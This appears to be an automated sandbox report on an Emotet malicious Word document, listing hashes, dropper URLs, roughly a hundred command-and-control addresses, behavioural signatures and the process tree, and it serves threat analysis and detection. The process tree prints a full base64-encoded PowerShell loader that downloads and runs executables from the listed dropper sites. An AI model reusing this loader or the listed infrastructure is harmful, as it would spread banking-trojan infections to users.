emotet | 1c4ae5147277da1ae2e1698cb5bbb78013414bc44ec134e7b0b5443ef4839f62

General

Target
emotet_e1_1c4ae5147277da1ae2e1698cb5bbb78013414bc44ec134e7b0b5443ef4839f62_2020-09-03__030231._doc.doc
Size 283KB
Sample200903-1wctsfbnd2
SHA256 1c4ae5147277da1ae2e1698cb5bbb78013414bc44ec134e7b0b5443ef4839f62
MD5 bd18cb6a1206b8d16eed875114421d7a
SHA1 69068050bf0c600c7574cdf0f98280fa1d0ba3cd
SHA512 7e593e22a99a3fc59118e616937822c6f8e75842e58f27b1cfe081429e52d679aa132f5d757dc7057512fcdaf167b07777e4172901ce5eba821a1a39fbd2e3e6
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://crbremen.com/WordPress_01/A/
exe.dropper
http://creixenti.com/stations/rV/
exe.dropper
http://e-brand.org/cgi-bin/oJ/
exe.dropper
http://earthinnovation.org/gcfimpact/8h/
exe.dropper
http://cooptotoral.com/Admin/6BO/
exe.dropper
http://commeavant.com/Harvey_files/b/
exe.dropper
http://fruehling.tv/arbeit/zR/

Extracted

Family

emotet

C2

50.121.220.50:80
51.75.33.122:80
54.37.42.48:8080
91.121.54.71:8080
45.16.226.117:443
68.69.155.181:80
213.60.96.117:80
77.55.211.77:8080
152.169.22.67:80
110.142.219.51:80
2.47.112.152:80
206.15.68.237:443
217.13.106.14:8080
191.99.160.58:80
189.131.57.131:80
213.197.182.158:8080
94.176.234.118:443
61.92.159.208:8080
190.128.173.10:80
219.92.8.17:8080
190.115.18.139:8080
190.147.137.153:443
5.196.35.138:7080
190.163.31.26:80
70.32.115.157:8080
114.109.179.60:80
58.171.153.81:80
174.100.27.229:80
104.131.103.37:8080
68.183.190.199:8080
181.30.61.163:443
184.66.18.83:80
87.106.46.107:8080
82.76.111.249:443
192.241.146.84:8080
73.213.208.163:80
104.131.41.185:8080
181.129.96.162:8080
82.196.15.205:8080
186.70.127.199:8090
68.183.170.114:8080
111.67.12.221:8080
172.104.169.32:8080
219.92.13.25:80
45.33.77.42:8080
185.94.252.12:80
46.28.111.142:7080
51.255.165.160:8080
45.173.88.33:80
190.24.243.186:80
45.161.242.102:80
77.238.212.227:80
177.72.13.80:80
65.36.62.20:80
190.2.31.172:80
212.71.237.140:8080
64.201.88.132:80
91.219.169.180:80
212.174.55.22:443
95.9.180.128:80
72.135.200.124:80
178.250.54.208:8080
187.162.248.237:80
178.79.163.131:8080
77.90.136.129:8080
70.32.84.74:8080
98.13.75.196:80
190.6.193.152:8080
192.241.143.52:8080
83.169.21.32:7080
138.97.60.141:7080
137.74.106.111:7080
209.236.123.42:8080
199.203.62.165:80
51.159.23.217:443
50.28.51.143:8080
24.135.1.177:80
177.73.0.98:443
188.2.217.94:80
170.81.48.2:80
186.103.141.250:443
188.135.15.49:80
185.94.252.27:443
72.47.248.48:7080
177.74.228.34:80
216.10.40.16:80
103.106.236.83:8080
217.199.160.224:7080
190.190.148.27:8080
12.162.84.2:8080
85.109.159.61:443
85.105.140.135:443
204.225.249.100:7080
67.247.242.247:80
191.182.6.118:80
189.2.177.210:443
178.148.55.236:8080
72.167.223.217:8080
71.197.211.156:80
190.195.129.227:8090

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3112	3984	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
23	3112	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
556	Myf5gg.exe
3104	MSAC3ENC.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mfcsubs\MSAC3ENC.exe	Myf5gg.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 952f1127af81d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4028	WINWORD.EXE
4028	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe
3104	MSAC3ENC.exe
3104	MSAC3ENC.exe
3104	MSAC3ENC.exe
3104	MSAC3ENC.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	724	svchost.exe
Token: SeCreatePagefilePrivilege	724	svchost.exe
Token: SeDebugPrivilege	3112	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
556	Myf5gg.exe
3104	MSAC3ENC.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3112 wrote to memory of 556	3112	powershell.exe	80
PID 3112 wrote to memory of 556	3112	powershell.exe	80
PID 3112 wrote to memory of 556	3112	powershell.exe	80
PID 556 wrote to memory of 3104	556	Myf5gg.exe	81
PID 556 wrote to memory of 3104	556	Myf5gg.exe	81
PID 556 wrote to memory of 3104	556	Myf5gg.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1c4ae5147277da1ae2e1698cb5bbb78013414bc44ec134e7b0b5443ef4839f62_2020-09-03__030231._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABWAG0AcABiAGEAZgAzAD0AKAAoACcAUAAnACsAJwBlAHIAJwApACsAKAAnAGUAJwArACcAdwBrAHkAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AdgA6AHUAcwBFAFIAUAByAG8ARgBJAEwAZQBcAHcAWQBoAFoATwBiAFgAXABjAGEAMQBqAEgAVABWAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAGUAYwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBJAGAAVABZAFAAUgBvAGAAVABPAGAAYwBvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIALAAnACkAKwAnACAAJwArACcAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAgAHQAbAAnACsAJwBzACcAKQApADsAJABJAGgAcwBtAHcAcAB4ACAAPQAgACgAKAAnAE0AJwArACcAeQBmACcAKQArACgAJwA1AGcAJwArACcAZwAnACkAKQA7ACQASQA2AGsAZwBtAGYANAA9ACgAJwBVAHcAJwArACgAJwBwACcAKwAnAHMAagBfACcAKQArACcAdgAnACkAOwAkAEkAcwBfAGoAbgA3AGIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBNAGkAJwArACcAdQBXACcAKQArACgAJwB5ACcAKwAnAGgAegBvAGIAJwApACsAJwB4ACcAKwAnAE0AaQAnACsAJwB1AEMAJwArACgAJwBhADEAagBoAHQAJwArACcAdgAnACkAKwAoACcATQBpACcAKwAnAHUAJwApACkALgAiAFIAYABlAFAAYABMAGEAYwBFACIAKAAoAFsAYwBIAEEAUgBdADcANwArAFsAYwBIAEEAUgBdADEAMAA1ACsAWwBjAEgAQQBSAF0AMQAxADcAKQAsACcAXAAnACkAKQArACQASQBoAHMAbQB3AHAAeAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAUwA4AHgAZABqAHYAcwA9ACgAJwBVAG0AJwArACgAJwB1ACcAKwAnADMAdABvADMAJwApACkAOwAkAEwAMgB2ADMAdABhAG8APQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAYwBsAGkAZQBOAHQAOwAkAEwAeABtADMAbABkAHcAPQAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAnACsAKAAnAC8AJwArACcALwBjAHIAYgAnACsAJwByACcAKQArACcAZQAnACsAJwBtAGUAJwArACgAJwBuAC4AJwArACcAYwAnACsAJwBvAG0ALwBXAG8AJwApACsAKAAnAHIAZABQAHIAZQAnACsAJwBzACcAKwAnAHMAXwAwADEALwBBAC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAJwArACcAOgAnACsAKAAnAC8ALwAnACsAJwBjACcAKQArACcAcgAnACsAJwBlACcAKwAoACcAaQB4ACcAKwAnAGUAJwApACsAJwBuAHQAJwArACgAJwBpAC4AYwBvAG0ALwAnACsAJwBzACcAKQArACcAdAAnACsAJwBhACcAKwAnAHQAJwArACcAaQBvACcAKwAnAG4AJwArACgAJwBzAC8AJwArACcAcgBWAC8AKgAnACsAJwBoACcAKQArACcAdAAnACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvACcAKwAoACcALwAnACsAJwBlAC0AYgAnACsAJwByAGEAbgBkACcAKQArACgAJwAuAG8AcgAnACsAJwBnACcAKQArACgAJwAvAGMAZwAnACsAJwBpACcAKQArACcALQAnACsAKAAnAGIAaQBuAC8AJwArACcAbwAnACsAJwBKAC8AJwApACsAJwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACgAJwAvAC8AZQBhAHIAJwArACcAdABoAGkAJwApACsAJwBuAG4AJwArACcAbwAnACsAKAAnAHYAJwArACcAYQB0AGkAbwAnACsAJwBuAC4AbwByAGcALwBnACcAKwAnAGMAJwApACsAKAAnAGYAJwArACcAaQBtAHAAYQAnACkAKwAoACcAYwB0ACcAKwAnAC8AOAAnACsAJwBoAC8AKgBoAHQAdABwACcAKQArACcAOgAvACcAKwAoACcALwBjAG8AJwArACcAbwAnACkAKwAoACcAcAB0ACcAKwAnAG8AdABvACcAKQArACcAcgBhACcAKwAnAGwALgAnACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC8AQQBkACcAKQArACgAJwBtAGkAbgAvACcAKwAnADYAJwApACsAKAAnAEIAJwArACcATwAvACcAKQArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAoACcALwAvAGMAJwArACcAbwAnACkAKwAoACcAbQBtACcAKwAnAGUAYQAnACsAJwB2AGEAbgB0AC4AYwBvACcAKQArACcAbQAvACcAKwAnAEgAJwArACcAYQAnACsAKAAnAHIAJwArACcAdgBlACcAKQArACgAJwB5AF8AZgBpAGwAJwArACcAZQBzACcAKwAnAC8AYgAnACkAKwAnAC8AJwArACcAKgAnACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvAGYAJwArACcAcgAnACkAKwAoACcAdQBlAGgAbABpAG4AZwAuACcAKwAnAHQAJwArACcAdgAnACkAKwAnAC8AYQAnACsAKAAnAHIAJwArACcAYgBlAGkAJwApACsAKAAnAHQALwAnACsAJwB6AFIALwAnACkAKQAuACIAUwBgAFAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABSAHIAZQBnADIAXwBwAD0AKAAoACcAVQAnACsAJwBkAHoAcwAnACkAKwAoACcAZwAzACcAKwAnAG8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABQAGQAaABfAHIAbgA3ACAAaQBuACAAJABMAHgAbQAzAGwAZAB3ACkAewB0AHIAeQB7ACQATAAyAHYAMwB0AGEAbwAuACIAZABgAG8AYAB3AG4ATABvAGEARABGAEkATABFACIAKAAkAFAAZABoAF8AcgBuADcALAAgACQASQBzAF8AagBuADcAYgApADsAJABYAGUAcQA5AHQAZAB3AD0AKAAnAEoAJwArACcAZwBuACcAKwAoACcAXwB3ACcAKwAnAGIAcwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABJAHMAXwBqAG4ANwBiACkALgAiAEwAYABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAAyADcAOAA3ADEAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQASQBzAF8AagBuADcAYgApADsAJABOADUANAA3AHAANAAxAD0AKAAnAEYAJwArACgAJwBsAGcAJwArACcANwBhADgAYQAnACkAKQA7AGIAcgBlAGEAawA7ACQASgA3AHAAMAA2AG4AdgA9ACgAKAAnAEoANQB1AHcAJwArACcAcQAnACkAKwAnADUAMgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAeQB5ADAAdwBsAHIAPQAoACcAUwByACcAKwAoACcAbQAzACcAKwAnAHAANgBtACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3112
- C:\Users\Admin\Wyhzobx\Ca1jhtv\Myf5gg.exe
  "C:\Users\Admin\Wyhzobx\Ca1jhtv\Myf5gg.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\SysWOW64\mfcsubs\MSAC3ENC.exe
    "C:\Windows\SysWOW64\mfcsubs\MSAC3ENC.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3104

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/556-13-0x0000000000580000-0x000000000058C000-memory.dmp

Download

memory/3104-16-0x00000000006A0000-0x00000000006AC000-memory.dmp

Download

memory/3112-9-0x000002552F960000-0x000002552F961000-memory.dmp

Download

memory/3112-8-0x0000025517520000-0x0000025517521000-memory.dmp

Download

memory/3112-7-0x00007FFCC78E0000-0x00007FFCC82CC000-memory.dmp

Download

memory/4028-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

Download

memory/4028-6-0x0000027CD1780000-0x0000027CD1791000-memory.dmp

Download

memory/4028-5-0x0000027CD1780000-0x0000027CD1791000-memory.dmp

Download

memory/4028-4-0x0000027CD1780000-0x0000027CD1791000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads